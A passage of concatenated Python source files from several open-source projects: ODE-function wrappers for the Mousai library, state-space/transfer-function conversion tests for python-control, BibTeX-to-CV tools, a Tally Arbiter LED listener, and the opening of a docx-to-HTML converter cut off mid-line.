and `params` is a dictionary of parameters, one of which must be `omega`. This is inconsistent with the SciPy numerical integrators for good cause, but can make simultaneous usage diffucult. This function returns a function compatible with Mousai by using the inspect package to determine the form of the function being used and to wrap it in Mousai form. Parameters ---------- sdfunc : function function in SciPy integrator form (`odeint`_ or `solve_ivp`_) Returns ------- new_function : function function in Mousai form (accepting inputs like a standard Mousai function) Notes ----- .. seealso:: * ``old_mousai_to_new_mousai`` * ``mousai_to_odeint`` * ``mousai_to_solve_ivp`` .. _`odeint` : https://docs.scipy.org/doc/scipy/reference/generated/scipy.integrate.ode.html#scipy.integrate.ode .. _`solve_ivp` : https://docs.scipy.org/doc/scipy/reference/generated/scipy.integrate.solve_ivp.html#scipy.integrate.solve_ivp """ sig = inspect.signature(sdfunc) call_parameters = list(sig.parameters.keys()) if len(call_parameters) == 2: if call_parameters[0] == 't' or call_parameters[0] == 'time': # t and x must be swapped, params available in over-scope def newfunction(x, t, params={}): for k, v in params.items(): exec("%s = %s" % (k, v)) return sdfunc(t, x) else: # params available in overscope def newfunction(x, t, params={}): for k, v in params.items(): exec("%s = %s" % (k, v)) return sdfunc(x, t) else: if call_parameters[0] == 't' or call_parameters[0] == 'time': # t and x must be swapped, params available in over-scope def newfunction(x, t, params={}): other_params = [params[x] for x in call_parameters] return sdfunc(t, x, *other_params) else: # params available in overscope def newfunction(x, t, params={}): other_params = [params[x] for x in call_parameters] return sdfunc(x, t, *other_params) return newfunction def old_mousai_to_new_mousai(function): """Return derivative function converted to new Mousai format. The original format for the Mousai derivative function was `sdfunc(x, params)`. This is inconsistent with the SciPy integration functions. To act more as expected, the standard from 0.4.0 on will take the form `sdfunc(x, t, params)`. Parameters ---------- sdfunc : function function in old Mousai form. `sdfunc(y, params)` Returns ------- new_sdfunc : function function in new Mousai form. `sdfunc(y, t, params)` Notes ----- .. seealso:: * ``function_to_mousai`` * ``mousai_to_odeint`` * ``mousai_to_solve_ivp`` """ def new_sdfunc(x, t, params): params['cur_time'] = t return function(x, params) return new_sdfunc def mousai_to_solve_ivp(sdfunc, params): """Return function callable from solve_ivp given Mousai sdfunc. Parameters ---------- sdfunc : function Mousai-style function returning state derivatives. params : dictionary dictionary of parameters used by `sdfunc`. Returns ------- solve_ivp_function : function function ordered to work with `solve_ivp`_ Notes ----- The ability to pass parameters was deprecated in the new SciPy integrators: `https://stackoverflow.com/questions/48245765/pass-args-for-solve-ivp-new-scipy-ode-api` `https://github.com/scipy/scipy/issues/8352` .. seealso:: * ``function_to_mousai`` * ``old_mousai_to_new_mousai`` * ``mousai_to_odeint`` """ sig = inspect.signature(sdfunc) call_parameters = list(sig.parameters.keys()) if len(call_parameters) == 2: sdfunc = old_mousai_to_new_mousai(sdfunc) print("""Warning. The two-argument form of Mousai derivsative functions is deprecated.""") def solve_ivp_function(t, y): return sdfunc(y, t, params) return solve_ivp_function def mousai_to_odeint(sdfunc, params): """Return function callable from solve_ivp given Mousai a sdfunc. Parameters ---------- sdfunc : function Mousai-style function returning state derivatives. params : dictionary dictionary of parameters used by `sdfunc`. Returns ------- odeint_function : function function ordered to work with `odeint`_ Notes ----- .. seealso:: * ``function_to_mousai`` * ``old_mousai_to_new_mousai`` * ``mousai_to_solve_ivp`` """ sig = inspect.signature(sdfunc) call_parameters = list(sig.parameters.keys()) if len(call_parameters) == 2: sdfunc = old_mousai_to_new_mousai(sdfunc) print("""Warning. The two-argument form of Mousai derivative โ โ \ functions is deprecated.""") if 'sdfunc_params' not in globals(): print("Define your parameters in the user created `sdfunc_params`", "dictionary.") sdfunc_params = {} def odeint_function(y, t): return sdfunc(y, t, params=sdfunc_params) return odeint_function ```
{ "source": "josephcslater/python-control", "score": 3 }
#### File: control/tests/convert_test.py ```python from __future__ import print_function from warnings import warn import numpy as np import pytest from control import rss, ss, ss2tf, tf, tf2ss from control.statesp import _mimo2siso from control.statefbk import ctrb, obsv from control.freqplot import bode from control.exception import slycot_check from control.tests.conftest import slycotonly # Set to True to print systems to the output. verbose = False # Maximum number of states to test + 1 maxStates = 4 # Maximum number of inputs and outputs to test + 1 # If slycot is not installed, just check SISO maxIO = 5 if slycot_check() else 2 @pytest.fixture def fixedseed(scope='module'): """Get consistent results""" np.random.seed(7) class TestConvert: """Test state space and transfer function conversions.""" def printSys(self, sys, ind): """Print system to the standard output.""" print("sys%i:\n" % ind) print(sys) @pytest.mark.parametrize("states", range(1, maxStates)) @pytest.mark.parametrize("inputs", range(1, maxIO)) @pytest.mark.parametrize("outputs", range(1, maxIO)) def testConvert(self, fixedseed, states, inputs, outputs): """Test state space to transfer function conversion. start with a random SS system and transform to TF then back to SS, check that the matrices are the same. """ ssOriginal = rss(states, outputs, inputs) if verbose: self.printSys(ssOriginal, 1) # Make sure the system is not degenerate Cmat = ctrb(ssOriginal.A, ssOriginal.B) if (np.linalg.matrix_rank(Cmat) != states): pytest.skip("not reachable") Omat = obsv(ssOriginal.A, ssOriginal.C) if (np.linalg.matrix_rank(Omat) != states): pytest.skip("not observable") tfOriginal = tf(ssOriginal) if (verbose): self.printSys(tfOriginal, 2) ssTransformed = ss(tfOriginal) if (verbose): self.printSys(ssTransformed, 3) tfTransformed = tf(ssTransformed) if (verbose): self.printSys(tfTransformed, 4) # Check to see if the state space systems have same dim if (ssOriginal.nstates != ssTransformed.nstates) and verbose: print("WARNING: state space dimension mismatch: %d versus %d" % (ssOriginal.nstates, ssTransformed.nstates)) # Now make sure the frequency responses match # Since bode() only handles SISO, go through each I/O pair # For phase, take sine and cosine to avoid +/- 360 offset for inputNum in range(inputs): for outputNum in range(outputs): if (verbose): print("Checking input %d, output %d" % (inputNum, outputNum)) ssorig_mag, ssorig_phase, ssorig_omega = \ bode(_mimo2siso(ssOriginal, inputNum, outputNum), deg=False, plot=False) ssorig_real = ssorig_mag * np.cos(ssorig_phase) ssorig_imag = ssorig_mag * np.sin(ssorig_phase) # # Make sure TF has same frequency response # num = tfOriginal.num[outputNum][inputNum] den = tfOriginal.den[outputNum][inputNum] tforig = tf(num, den) tforig_mag, tforig_phase, tforig_omega = \ bode(tforig, ssorig_omega, deg=False, plot=False) tforig_real = tforig_mag * np.cos(tforig_phase) tforig_imag = tforig_mag * np.sin(tforig_phase) np.testing.assert_array_almost_equal( ssorig_real, tforig_real) np.testing.assert_array_almost_equal( ssorig_imag, tforig_imag) # # Make sure xform'd SS has same frequency response # ssxfrm_mag, ssxfrm_phase, ssxfrm_omega = \ bode(_mimo2siso(ssTransformed, inputNum, outputNum), ssorig_omega, deg=False, plot=False) ssxfrm_real = ssxfrm_mag * np.cos(ssxfrm_phase) ssxfrm_imag = ssxfrm_mag * np.sin(ssxfrm_phase) np.testing.assert_array_almost_equal( ssorig_real, ssxfrm_real, decimal=5) np.testing.assert_array_almost_equal( ssorig_imag, ssxfrm_imag, decimal=5) # Make sure xform'd TF has same frequency response # num = tfTransformed.num[outputNum][inputNum] den = tfTransformed.den[outputNum][inputNum] tfxfrm = tf(num, den) tfxfrm_mag, tfxfrm_phase, tfxfrm_omega = \ bode(tfxfrm, ssorig_omega, deg=False, plot=False) tfxfrm_real = tfxfrm_mag * np.cos(tfxfrm_phase) tfxfrm_imag = tfxfrm_mag * np.sin(tfxfrm_phase) np.testing.assert_array_almost_equal( ssorig_real, tfxfrm_real, decimal=5) np.testing.assert_array_almost_equal( ssorig_imag, tfxfrm_imag, decimal=5) def testConvertMIMO(self): """Test state space to transfer function conversion. Do a MIMO conversion and make sure that it is processed correctly both with and without slycot Example from issue gh-120, jgoppert """ # Set up a 1x3 transfer function (should always work) tsys = tf([[[-235, 1.146e4], [-235, 1.146E4], [-235, 1.146E4, 0]]], [[[1, 48.78, 0], [1, 48.78, 0, 0], [0.008, 1.39, 48.78]]]) # Convert to state space and look for an error if (not slycot_check()): with pytest.raises(TypeError): tf2ss(tsys) else: ssys = tf2ss(tsys) assert ssys.B.shape[1] == 3 assert ssys.C.shape[0] == 1 def testTf2ssStaticSiso(self): """Regression: tf2ss for SISO static gain""" gsiso = tf2ss(tf(23, 46)) assert 0 == gsiso.nstates assert 1 == gsiso.ninputs assert 1 == gsiso.noutputs # in all cases ratios are exactly representable, so assert_array_equal # is fine np.testing.assert_array_equal([[0.5]], gsiso.D) def testTf2ssStaticMimo(self): """Regression: tf2ss for MIMO static gain""" # 2x3 TFM gmimo = tf2ss(tf( [[ [23], [3], [5] ], [ [-1], [0.125], [101.3] ]], [[ [46], [0.1], [80] ], [ [2], [-0.1], [1] ]])) assert 0 == gmimo.nstates assert 3 == gmimo.ninputs assert 2 == gmimo.noutputs d = np.array([[0.5, 30, 0.0625], [-0.5, -1.25, 101.3]]) np.testing.assert_array_equal(d, gmimo.D) def testSs2tfStaticSiso(self): """Regression: ss2tf for SISO static gain""" gsiso = ss2tf(ss([], [], [], 0.5)) np.testing.assert_array_equal([[[0.5]]], gsiso.num) np.testing.assert_array_equal([[[1.]]], gsiso.den) def testSs2tfStaticMimo(self): """Regression: ss2tf for MIMO static gain""" # 2x3 TFM a = [] b = [] c = [] d = np.array([[0.5, 30, 0.0625], [-0.5, -1.25, 101.3]]) gtf = ss2tf(ss(a, b, c, d)) # we need a 3x2x1 array to compare with gtf.num numref = d[..., np.newaxis] np.testing.assert_array_equal(numref, np.array(gtf.num) / np.array(gtf.den)) @slycotonly def testTf2SsDuplicatePoles(self): """Tests for 'too few poles for MIMO tf gh-111'""" num = [[[1], [0]], [[0], [1]]] den = [[[1, 0], [1]], [[1], [1, 0]]] g = tf(num, den) s = ss(g) np.testing.assert_array_equal(g.pole(), s.pole()) @slycotonly def test_tf2ss_robustness(self): """Unit test to make sure that tf2ss is working correctly. gh-240""" num = [ [[0], [1]], [[1], [0]] ] den1 = [ [[1], [1,1]], [[1,4], [1]] ] sys1tf = tf(num, den1) sys1ss = tf2ss(sys1tf) # slight perturbation den2 = [ [[1], [1e-10, 1, 1]], [[1,4], [1]] ] sys2tf = tf(num, den2) sys2ss = tf2ss(sys2tf) # Make sure that the poles match for StateSpace and TransferFunction np.testing.assert_array_almost_equal(np.sort(sys1tf.pole()), np.sort(sys1ss.pole())) np.testing.assert_array_almost_equal(np.sort(sys2tf.pole()), np.sort(sys2ss.pole())) def test_tf2ss_nonproper(self): """Unit tests for non-proper transfer functions""" # Easy case: input 2 to output 1 is 's' num = [ [[0], [1, 0]], [[1], [0]] ] den1 = [ [[1], [1]], [[1,4], [1]] ] with pytest.raises(ValueError): tf2ss(tf(num, den1)) # Trickier case (make sure that leading zeros in den are handled) num = [ [[0], [1, 0]], [[1], [0]] ] den1 = [ [[1], [0, 1]], [[1,4], [1]] ] with pytest.raises(ValueError): tf2ss(tf(num, den1)) ```
{ "source": "josephcslater/to_latex", "score": 3 }
#### File: josephcslater/to_latex/setup.py ```python from setuptools import setup import os # Utility function to read the README file. # Used for the long_description. It's nice, because now 1) we have a top level # README file and 2) it's easier to type in the README file than to put a raw # string in below ... def read(fname): """Read the readme.rst file.""" return open(os.path.join(os.path.dirname(__file__), fname)).read() with open('array_to_latex/__init__.py', 'rb') as fid: for line in fid: line = line.decode('utf-8') if line.startswith('__version__'): version = line.strip().split()[-1][1:-1] break setup(name='array_to_latex', # Note: Version must also be set in __init__.py # Version must also be set in download_url. version=version, description='Return Numpy and Pandas arrays as formatted LaTeX arrays.', author='<NAME>', author_email='<EMAIL>', url='https://github.com/josephcslater/array_to_latex/', # download_url='https://github.com/josephcslater # /array_to_latex/archive/0.42.tar.gz', packages=['array_to_latex'], long_description=read('README.rst'), keywords=['latex', 'array', 'format', 'numpy', 'scipy'], install_requires=['numpy', 'pandas', 'clipboard'], classifiers=['Development Status :: 5 - Production/Stable', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Intended Audience :: End Users/Desktop', 'Intended Audience :: Education', 'Intended Audience :: Science/Research', 'Programming Language :: Python', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Topic :: Scientific/Engineering', 'Topic :: Text Processing :: Markup :: LaTeX', 'Operating System :: Microsoft :: Windows', 'Operating System :: POSIX', 'Operating System :: Unix', 'Operating System :: MacOS', 'Topic :: Utilities'] ) # https://pypi.python.org/pypi?%3Aaction=list_classifiers ```
{ "source": "josephcslater/vitae", "score": 3 }
#### File: vitae/vitae/vitae.py ```python import bibtexparser import tempfile from bibtexparser.bparser import BibTexParser from bibtexparser.customization import homogenize_latex_encoding import os from pathlib import Path def makemycv(filename='cv.bib', silent=True, bibtex_types=('inbook', 'article', 'periodical', 'techreport', 'inproceedings'), writeout=True, indent=' ', author=None, outpath=None, entrytypes=None): r"""Create sub-bib TeX files for including into CV.abs Written files with be names `entrytype```.tex`` to the current directory if `outpath` is not defined. The files `entrytype```.tex`` will overwrite files with the same name **without warning**. Parameters ---------- filename : string (optional: default cv.tex) Name (including optional path) of bib file containing citation entries bibtex_types : tuple of strings (optional) List of bibtex bibtex_types to generate \bibentry .tex files for. Files will be be named `entrytype```.tex`` writeout : boolean (optional: default True) Write to files. If false, only write to screenself. indent : string string of spaces for prettying up the item lists author : string select authors whose entries should be included. outpath : string output path to write files to. silent : boolean (optional: default True) print results to screen Returns ------- results : strings Content(s) of each .tex file generated- in case you want them. unaccounted : array Array of bib entries not used in creation of the output. bibs : array Full array created by bibtexparser. https://nwalsh.com/tex/texhelp/bibtx-7.html Examples -------- Makes tex files for inclusion in cv.tex (articles.tex, etc.). See readme.rts on github.com >>> import vitae >>> vitae.makemycv(filename='cv.bib') Alternatively from a terminal prompt: > python -c "import vitae; vitae.makemycv(filename='cv.bib')" """ if entrytypes is not None: print('entrytypes will be deprecated in future releases.') print('Please use bibtex_types') bibtex_types = entrytypes if os.path.isfile(filename) is False: print('{} is not an actual bib file.'.format(filename)) return if outpath is None: outpath = '' if not os.path.isdir(outpath) and outpath != '': print(outpath, ' is not a valid directory.') return parser = BibTexParser() parser.customization = homogenize_latex_encoding parser.ignore_nonstandard_types = False with open(filename) as bibtex_file: bib_database = bibtexparser.load(bibtex_file, parser) bibs = bib_database.entries if author is not None: bibs = by_author(author, bibs) results = {} for entrytype in bibtex_types: entry = [[bib['year'], bib['ID'], bib['title']] for bib in bibs if bib['ENTRYTYPE'] == entrytype] entry_sorted = sorted(entry, key=lambda paper: paper[0], reverse=True) if silent is False: if entrytype[-1] == 's': print('Number of {} is {}'.format( entrytype, len(entry_sorted))) else: print('Number of {}s is {}'.format( entrytype, len(entry_sorted))) file_contents = '\\begin{enumerate}\n' for entry in entry_sorted: file_contents += indent + '\\item \\bibentry{' + entry[1] + '}\n' file_contents += '\\end{enumerate}' if writeout is True: file = open(os.path.join(outpath, entrytype + '.tex'), 'w') file.write(file_contents) file.close() else: print(file_contents) results[entrytype] = file_contents unaccounted = [bib for bib in bibs if bib['ENTRYTYPE'] not in bibtex_types] if silent is False: print('Unaccounted for entries is {}:'.format(len(unaccounted))) for bib in unaccounted: print(bib['ID'], '\n ', bib['year'], '\n ', bib['ENTRYTYPE'], '\n ', bib['title']) return results, unaccounted, bibs def by_author(authorname, bibs): """Return only bibs containing authorname.""" keepindex = [] i = 0 an = authorname.replace(" ", "") authorname = authorname.replace(',', ', ') authorname = authorname.replace(" ", " ") authorshort = 'xxxxxxx' if ',' in authorname and len(an) > (1+an.find(',')): authorshort = (authorname[:authorname.find(',')] + ', ' + an[an.find(',')+1]) print('number of bibs', len(bibs)) for bib in bibs: if 'author' in bib: bibauthor = bib['author'] bibauthor = bibauthor.replace(',', ', ') bibauthor = bibauthor.replace(' ', ' ') if authorname in bibauthor: keepindex.append(i) i += 1 elif authorshort in bibauthor: print('Close name WARNING- is bib entry correct?') print(bib['author'], ': ', bib['title']) author_bibs = [bibs[i] for i in keepindex] return author_bibs def replace_enquote(string): r"""Replace \enquote with proper quotes.""" front = string[:string.find(r'\enquote{')] back = string[string.find(r'\enquote{'):].replace('}', "''", 1) back = back.replace(r'\enquote{', '``') return front + back def read_bbl(bblfilename): """Read bbl file and return dictionary of formatted citations.""" if not is_tool('pdflatex') or not is_tool('bibtex'): print("Both pdflatex and bibtex must exist on your command", " line to use this function.") return isbibtext = 0 formattedbibs = {} # print(bibtexparser) bbl = open(bblfilename, "r") for line in bbl: if line[:6] == r'\begin' or line[:4] == r'\end': pass elif r'\providecommand' in line: pass elif r'bibitem' in line: bibitem = line[line.find('{')+1: line.find('}')] isbibtext = 1 bibtext = '' elif isbibtext == 1: if len(line) > 2: bibtext += line.strip('\n') elif len(line) < 2: bibtext = replace_enquote(bibtext) formattedbibs[bibitem] = bibtext isbibtext = 0 return formattedbibs def formatted_bibs(bibfile, bibliographystyle='plain'): """Make a dictionary of formatted bibs. Parameters ---------- bibfile : string full path and file name to the .bib file bibliographystyle : string (optional) bst (bib style file) to use. Default: 'plain' Returns ------- formattedbibs : dictionary of strings dictionary of formatted citations with Cite keys as keys. bibs : array bibfile array from bibtexparser """ # path = os.path.dirname(bibfile) # bibfilename = os.path.basename(bibfile) bibliographystyle = bibliographystyle.replace('.bst', '') old_directory = os.getcwd() with tempfile.TemporaryDirectory() as tmpdirname: os.chdir(tmpdirname) with open('cv_temp.tex', 'w') as template: # template.write('hello') template_head = (r"""% !TEX root = cv.tex \documentclass[12pt, letter]{article} \usepackage[utf8]{inputenc} \usepackage[T1]{fontenc} \usepackage{bibentry} \newcommand{\enquote}[1]{``#1''} \makeatletter\let\saved@bibitem\@bibitem\makeatother \usepackage[colorlinks=true]{hyperref} \makeatletter\let\@bibitem\saved@bibitem\makeatother \usepackage{url}{} \renewcommand{\cite}{\bibentry} \begin{document} \nobibliography{""" + bibfile + r"""} \bibliographystyle{""" + bibliographystyle + r"""} \pagestyle{plain} \input{article.tex} \input{inbook.tex} \input{inproceedings} \input{periodical} \input{techreport} \end{document}""") template.write(template_head) _, _, bibs = makemycv(filename=bibfile, silent=True) os.system('lualatex -interaction="batchmode" cv_temp; bibtex cv_temp') # print(os.path.join(tmpdirname, 'cv_temp.bbl')) formattedbibs = read_bbl('cv_temp.bbl') os.chdir(old_directory) # Unnecessary return formattedbibs, bibs def is_tool(name): """Check whether `name` is on PATH and marked as executable.""" from shutil import which return which(name) is not None def merge_formatted_into_db(formattedbibs, bibfilename=None, bibs=None): """Create bib database including formated bibs.""" print('formattedbibs length', len(formattedbibs)) if bibs is None: if bibfilename is None: print('No bib file name given.') return if os.path.isfile(bibfilename) is False or 'bib' not in bibfilename: print('{} is not an actual bib file.') return parser = BibTexParser() parser.customization = homogenize_latex_encoding parser.ignore_nonstandard_types = False with open(bibfilename) as bibtex_file: bib_database = bibtexparser.load(bibtex_file, parser, encoding='utf-8') bibs = bib_database.entries bib_database = [[bib['year'], bib['ID'], bib['title'], bib['ENTRYTYPE'], formattedbibs[bib['ID']]] for bib in bibs if bib['ID'] in formattedbibs.keys()] print('bib_database formatted', len(bib_database)) return bib_database def write_bibs(bibfile=None, bibliographystyle='plain', outfile_name=None, since_year=None, number_citations=None, bibtex_types=('articles'), authorname=None, outputformat=None, silent=False, standalone=True, overwrite=False): """Write formatted bibs from bibfile to desired format. Parameters ---------- bibfile : string full path and file name to the .bib file bibliographystyle : string (optional) bst (bib style file) to use. Default: 'plain'. outfile_name : string (optional) name of output file. Default bibfile name with .tex extension. Default output format is html. since_year : integer (optional) year of oldest citation to include. Default: All years. number_citations : integer (optional) maximum number of citations to include. Default: all. bibtex_types : tuple of strings (optional) list of types of entries to include. Default: ('articles') authorname : string (optional) author whos papers to include. Default: all. silent : Boolean (optional) display diagnostics. Default: False (will display diagnostics) standalone : Boolean (optional) By default, pandoc generates only a fragment. If you want a full document set this to False. Default: True overwrite : Boolean (optional) Overwrite results files? Default: False Examples -------- To write citations to an html file: >>> import vitae >>> vitae.write_bibs(bibfile = '/Users/jslater/Documents/Resumes/cv.bib', bibliographystyle='plain', outfile_name='try.html', since_year=2008) Alternatively, from a terminal prompt: > python -c "import vitae; vitae.write_bibs(bibfile='cv.bib', bibliographystyle='plain', outfile_name = 'bibs.html', since_year=2008)" """ if '.bib' in outfile_name: print('I refuse to write over a bib file. ' + 'While this software comes with no warrantee, ' + "I'm also not going to knowlingly cause you damage. " + 'Please choose a more sensible output file name.') return if bibfile is None: print('You must include the input named argument: bibfile') print('This should include with full name with path.') print('If the path is not included, cwd will be presumed.') print('') print('On Mac or Linux, this looks like:') print('\'/Users/myusername/Documents/CVs/cv.bib\'') print('') print('On Windows, this looks like:') print('r\'C:\\Users\\myusername\\Documents\\CVs\\cv.bib\'') print('NOTE: The \'r\' may be necessary on Windows so that ' + '\'\\\' is not treated as an escape character.') return if os.path.isfile(bibfile) is False: print(bibfile, ' cannot be found at that location.') print('Please check path and try again.') return if (not is_tool('pdflatex') or not is_tool('bibtex') or not is_tool('pandoc')): print("pdflatex, bibtex and pandoc must exist on your command", " line to use this function.\n") print("Please see the documentation at:") print(r"https://github.com/josephcslater/vitae") return path = os.path.dirname(bibfile) if path == '': path = os.getcwd() bibfile = os.path.join(path, bibfile) bibfilename = os.path.basename(bibfile) bibfilenameroot = bibfilename[:-4] # No output file specified if outfile_name is None: outfile_name = bibfilenameroot + '.html' outfile_name = os.path.join(path, outfile_name) if os.path.dirname(outfile_name) == '': path_output = path else: path_output = os.path.dirname(outfile_name) if not os.path.isdir(path_output) and path_output != '': print('Specified output path:') print(path_output) print('is not a valid path. Please play again.') return filename_output = os.path.basename(outfile_name) root_output = filename_output if '.' in filename_output: root_output = filename_output[:filename_output.find('.')] print(root_output) # Format the bibs. We just format every one in the file, then use what we # must later. formattedbibs, bibs = formatted_bibs(bibfile, bibliographystyle=bibliographystyle) print('result of formatting bibs', len(formattedbibs)) bibs = merge_formatted_into_db(formattedbibs, bibs=bibs) # Keep only bibs by chosen author. if authorname is not None: bibs = by_author(authorname, bibs) # At this point, we have a bibs database with just bibs by authorname # Next steps: # 3. Truncate non-desired bibtex_types bibs = [bib for bib in bibs if bib[3] in bibtex_types] # Sort by date bibs_sorted = sorted(bibs, key=lambda paper: paper[0], reverse=True) # 2. Truncate older articles if since_year is not None: bibs_truncated = [bib for bib in bibs_sorted if int(bib[0]) >= since_year] else: bibs_truncated = bibs_sorted # 4. Truncate beyond numberself. if number_citations is not None and number_citations < len(bibs_truncated): bibs_final = bibs_truncated[:number_citations] else: bibs_final = bibs_truncated cwd = os.getcwd() os.chdir(path_output) outfile_name_tex = root_output + '.tex' if os.path.isfile(outfile_name_tex) and not overwrite: os.rename(outfile_name_tex, outfile_name_tex[:-4]+'_old.tex') # routine to write out bibs_final bibsfinalfilename with open(outfile_name_tex, 'w') as filename: for bib in bibs_final: filename.write(bib[4]) filename.write('\n') filename.write('\n') with open(outfile_name_tex) as f: newText = f.read().replace('{\\em', '\\emph{') with open(outfile_name_tex, "w") as f: f.write(newText) # Store old version of formatted references. if os.path.isfile(filename_output) and not overwrite: print('\n\n', filename_output, 'moved to', filename_output[:filename_output.find('.')] + '_old' + filename_output[filename_output.find('.'):], '\n\n') os.rename(filename_output, filename_output[:filename_output.find('.')] + '_old' + filename_output[filename_output.find('.'):]) pandoc_args = ' ' if standalone: pandoc_args = ' -s -V "pagetitle:My Bibs" -V "title:My Bibs" ' pandocstring = ("pandoc " + pandoc_args + outfile_name_tex + " -o " + filename_output) os.system(pandocstring) os.chdir(cwd) if __name__ == '__main__': print('executing from command line') ```
{ "source": "josephdadams/TallyArbiter-Pimoroni-Blinkt-listener", "score": 2 }
#### File: josephdadams/TallyArbiter-Pimoroni-Blinkt-listener/tallyarbiter-pimoroni-blinkt-listener.py ```python from signal import signal, SIGINT from sys import exit import sys import time import blinkt import socketio import json device_states = [] bus_options = [] mode_preview = False mode_program = False server = sys.argv[1] stored_deviceId = '' blinkt.set_clear_on_exit(True) debounce = False #used to keep calls from happing concurrently try: stored_deviceId_file = open('deviceid.txt') stored_deviceId = stored_deviceId_file.read() stored_deviceId_file.close() except IOError: stored_deviceId = '' print('Last Used Device Id: ' + stored_deviceId) if len(sys.argv) > 2: port = sys.argv[2] else: port = '4455' if len(sys.argv) > 3: deviceId = sys.argv[3] else: if (stored_deviceId != ''): deviceId = stored_deviceId else: deviceId = 'null' #SocketIO Connections sio = socketio.Client() @sio.event def connect(): print('Connected to Tally Arbiter server:', server, port) sio.emit('bus_options') # get current bus options sio.emit('device_listen_blink', {'deviceId': deviceId}) # start listening for the device repeatNumber = 2 while(repeatNumber): repeatNumber = repeatNumber - 1 doBlink(0, 255, 0) time.sleep(.3) doBlink(0, 255, 0) time.sleep(.3) @sio.event def connect_error(data): print('Unable to connect to Tally Arbiter server:', server, port) doBlink(150, 150, 150) time.sleep(.3) doBlink(0, 0, 0) time.sleep(.3) @sio.event def disconnect(): print('Disconnected from Tally Arbiter server:', server, port) doBlink(255, 255, 255) time.sleep(.3) doBlink(0, 0, 0) time.sleep(.3) @sio.event def reconnect(): print('Reconnected to Tally Arbiter server:', server, port) repeatNumber = 2 while(repeatNumber): repeatNumber = repeatNumber - 1 doBlink(0, 255, 0) time.sleep(.3) doBlink(0, 0, 0) time.sleep(.3) @sio.on('device_states') def on_device_states(data): global device_states device_states = data processTallyData() @sio.on('bus_options') def on_bus_options(data): global bus_options bus_options = data @sio.on('flash') def on_flash(): doBlink(255, 255, 255) time.sleep(.5) doBlink(0, 0, 0) time.sleep(.5) doBlink(255, 255, 255) time.sleep(.5) doBlink(0, 0, 0) time.sleep(.5) doBlink(255, 255, 255) time.sleep(.5) evaluateMode() @sio.on('reassign') def on_reassign(oldDeviceId, newDeviceId): print('Reassigning from DeviceID: ' + oldDeviceId + ' to Device ID: ' + newDeviceId) doBlink(0, 0, 0) time.sleep(.1) doBlink(0, 0, 255) time.sleep(.1) doBlink(0, 0, 0) time.sleep(.1) doBlink(0, 0, 255) time.sleep(.1) doBlink(0, 0, 0) sio.emit('listener_reassign', data=(oldDeviceId, newDeviceId)) global deviceId deviceId = newDeviceId stored_deviceId_file = open('deviceid.txt', 'w') stored_deviceId_file.write(newDeviceId) stored_deviceId_file.close() def getBusTypeById(busId): for bus in bus_options: if bus['id'] == busId: return bus['type'] def processTallyData(): global mode_preview global mode_program for device_state in device_states: if getBusTypeById(device_state['busId']) == 'preview': if len(device_state['sources']) > 0: mode_preview = True else: mode_preview = False elif getBusTypeById(device_state['busId']) == 'program': if len(device_state['sources']) > 0: mode_program = True else: mode_program = False evaluateMode() def evaluateMode(): if (mode_preview == True) and (mode_program == False): # preview mode, color it green doBlink(0, 255, 0) elif (mode_preview == False) and (mode_program == True): # program mode, color it red doBlink(255, 0, 0) elif (mode_preview == True) and (mode_program == True): # preview+program mode, color it yellow doBlink(255, 255, 0) else: # no source, turn it off doBlink(0, 0, 0) def doBlink(r, g, b): global debounce if (debounce != True): debounce = True blinkt.set_all(r, g, b) blinkt.show() debounce = False while(1): try: sio.connect('http://' + server + ':' + port) sio.wait() print('Tally Arbiter Listener Running. Press CTRL-C to exit.') print('Attempting to connect to Tally Arbiter server: ' + server + '(' + port + ')') except KeyboardInterrupt: print('Exiting Tally Arbiter Listener.') doBlink(0, 0, 0) exit(0) except socketio.exceptions.ConnectionError: doBlink(0, 0, 0) time.sleep(15) except: print("Unexpected error:", sys.exc_info()[0]) print('An error occurred internally.') doBlink(0, 0, 0) ```
{ "source": "josephdaurora/simplebackup", "score": 3 }
#### File: josephdaurora/simplebackup/main.py ```python from tkinter import * from tkinter import filedialog from shutil import copytree def checker(): if (source != None) and (destination != None): Button(root, justify="center", text="Begin Copying", command=lambda: copytree(source, destination, dirs_exist_ok=True)).place(bordermode="outside", anchor="center", x=400, y=300) def getDirectories(location): global source global destination if location == "source": source = filedialog.askdirectory() Label(root, text=source).place(bordermode="outside", anchor="center", x=400, y=100) if location == "destination": destination = filedialog.askdirectory() Label(root, text=destination).place(bordermode="outside", anchor="center", x=400, y=200) checker() source = None destination = None root = Tk() root.title("Simple Backup") root.geometry("800x600") Button(root, justify="center", text="Choose Source Directory", command=lambda: getDirectories("source")).place(bordermode="outside", anchor="center", x=400, y=50) Button(root, justify="center", text="Choose Destination Directory", command=lambda: getDirectories("destination")).place(bordermode="outside", anchor="center", x=400, y=150) root.mainloop() ```
{ "source": "JosephDavidTalbot/JosephDavidTalbot.github.io", "score": 3 }
#### File: JosephDavidTalbot.github.io/downloads/Docx Converter.py ```python import docx, os, time, string, unicodedata def convertDoc(docPath): try: docFile = docx.Document(docPath) except: print("Error: invalid filepath. "+docPath+" cannot be opened.") return docName = (docPath.split('.'))[0] htmlFile = open(docName+".html", 'w', encoding='utf-8') htmlFile.write(''); htmlFile.close() htmlFile = open(docName+".html", 'a', encoding='utf-8') para = docFile.paragraphs for p in para: temp = "" if p.style == 'normal': temp += "<p>\n" elif p.style == 'Heading 1': temp += "<h1>\n" elif p.style == 'Title': temp += "<h1>\n" elif p.style == 'Heading 2': temp += "<h2>\n" elif p.style == 'Heading 3': temp += "<h3>\n" elif p.style == 'Heading 4': temp += "<h4>\n" elif p.style == 'Heading 5': temp += "<h5>\n" elif p.style == 'Heading 6': temp += "<h6>\n" elif p.style == 'Heading 7': temp += "<h7>\n" elif p.style == 'Heading 8': temp += "<h8>\n" elif p.style == 'Heading 9': temp += "<h9>\n" else: temp += "<p>\n" for i, r in enumerate(p.runs): if(p.runs[i].bold): temp+=("<strong>") if(p.runs[i].italic): temp+=("<em>") '''temp2 = r.text if("\n" in temp2): temp2=temp2.replace("\n","<br/>\n")''' if r.text == '': temp+='<br/>' else: temp+=r.text.replace("\n","<br/>\n") #temp+=(temp2) if(p.runs[i].bold): temp+=("</strong>") if(p.runs[i].italic): temp+=("</em>") if p.style == 'normal': temp+= "\n</p>\n\n" elif p.style == 'Heading 1': temp+= "\n</h1>\n\n" elif p.style == 'Heading 2': temp+= "\n</h2>\n\n" elif p.style == 